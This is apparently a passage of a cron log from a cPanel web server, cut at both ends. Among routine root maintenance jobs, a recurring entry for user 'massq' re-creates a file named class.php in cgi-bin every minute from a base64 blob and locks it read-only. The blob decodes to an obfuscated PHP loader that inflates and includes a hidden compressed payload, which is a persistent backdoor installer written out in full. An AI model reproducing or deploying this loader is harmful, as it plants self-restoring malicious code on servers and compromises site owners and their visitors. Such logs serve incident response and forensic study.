CNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:45:01 server CROND[15215]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 00:45:01 server CROND[15211]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:45:01 server CROND[15214]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 00:46:02 server CROND[15997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:46:02 server CROND[15999]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:46:02 server CROND[16000]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:47:01 server CROND[16370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:47:01 server CROND[16371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:47:01 server CROND[16372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:48:01 server CROND[16755]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:48:01 server CROND[16756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:48:01 server CROND[16757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:49:01 server CROND[17161]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:49:01 server CROND[17160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:49:01 server CROND[17162]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:50:01 server CROND[17554]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 00:50:01 server CROND[17558]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 00:50:01 server CROND[17559]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 00:50:01 server CROND[17565]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 00:50:01 server CROND[17566]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 00:50:01 server CROND[17568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:50:01 server CROND[17569]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 00:50:01 server CROND[17567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:50:01 server CROND[17572]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:51:01 server CROND[18489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:51:01 server CROND[18490]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:51:01 server CROND[18491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:52:01 server CROND[18872]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:52:01 server CROND[18873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:52:01 server CROND[18874]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:53:01 server CROND[19254]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:53:01 server CROND[19255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:53:01 server CROND[19256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:54:01 server CROND[19645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:54:01 server CROND[19646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:54:01 server CROND[19647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:55:01 server CROND[20031]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 00:55:01 server CROND[20033]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:55:01 server CROND[20036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:55:01 server CROND[20038]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 00:55:01 server CROND[20037]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 00:55:01 server CROND[20035]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 00:55:01 server CROND[20034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:56:01 server CROND[20864]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:56:01 server CROND[20865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:56:01 server CROND[20866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:57:01 server CROND[21230]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:57:01 server CROND[21229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:57:01 server CROND[21231]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 00:57:01 server CROND[21232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 